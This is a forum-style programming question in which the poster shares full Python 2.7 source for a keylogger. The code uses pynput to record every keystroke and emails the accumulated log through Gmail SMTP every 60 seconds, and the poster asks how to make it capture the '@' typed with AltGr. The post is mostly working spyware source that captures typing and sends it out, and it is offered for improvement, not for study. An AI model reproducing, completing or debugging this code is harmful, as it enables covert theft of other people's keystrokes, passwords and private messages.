title: keylogger in python 2.7 problem "alt gr" key to make the snail character "@"
body: <p>I'm making a keylogger with a report that arrives at a specific email address with everything that is typed in the keyboard, in the keyboard of my notebook to make the character "@" scroll press the "alt gr" + the "ò" ", to realize the keylogger I use the pynput module, the problem is that it gives me error when I type the "alt gr" button so for the moment I intercepted the error by creating an exception that just typing the "alt gr" button string "ALT GR" but obviously so I do not solve the problem, how can I do to print the "@" snail character? below the sources of my keylogger</p>
  
  <p>keylogger.py:</p>
  
  <pre><code>#!/usr/bin/env python
  # -*- coding: utf-8 -*-
  import pynput.keyboard
  import threading
  import smtplib
  
  class Keylogger:
  def __init__(self, time_interval, email, password):
      self.log = "Keylogger started"
      self.interval = time_interval
      self.email = email
      self.password = password
  
  def append_to_log(self, string):
      self.log = self.log + string
  
  def process_key_press(self, key):
  
      try:
          # current_key = str(key.char)
          current_key = str(key.char.encode('utf8'))
  
      except AttributeError:
          try:
  
              if key == key.space:
                  current_key = " "
              else:
                  current_key = " " + str(key) + " "
  
          except AttributeError:
              current_key = "ALT GR"
  
      self.append_to_log(current_key)
  
  def report(self):
      self.send_mail(self.email, self.password, "\n\n" + self.log)
      self.log = ""
      timer = threading.Timer(self.interval, self.report)
      timer.start()
  
  def send_mail(self, email, password, message):
      server = smtplib.SMTP("smtp.gmail.com", 587)
      server.starttls()
      server.login(email, password)
      server.sendmail(email, email, message)
      server.quit()
  
  def start(self):
      keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
      with keyboard_listener:
          self.report()
          keyboard_listener.join()
  </code></pre>
  
  <p>run_key_logger.py:</p>
  
  <pre><code>#!/usr/bin/env python
  
  import keylogger
  
  my_keylogger = keylogger.Keylogger(60, "email",  "password")  
  my_keylogger.start()
  </code></pre>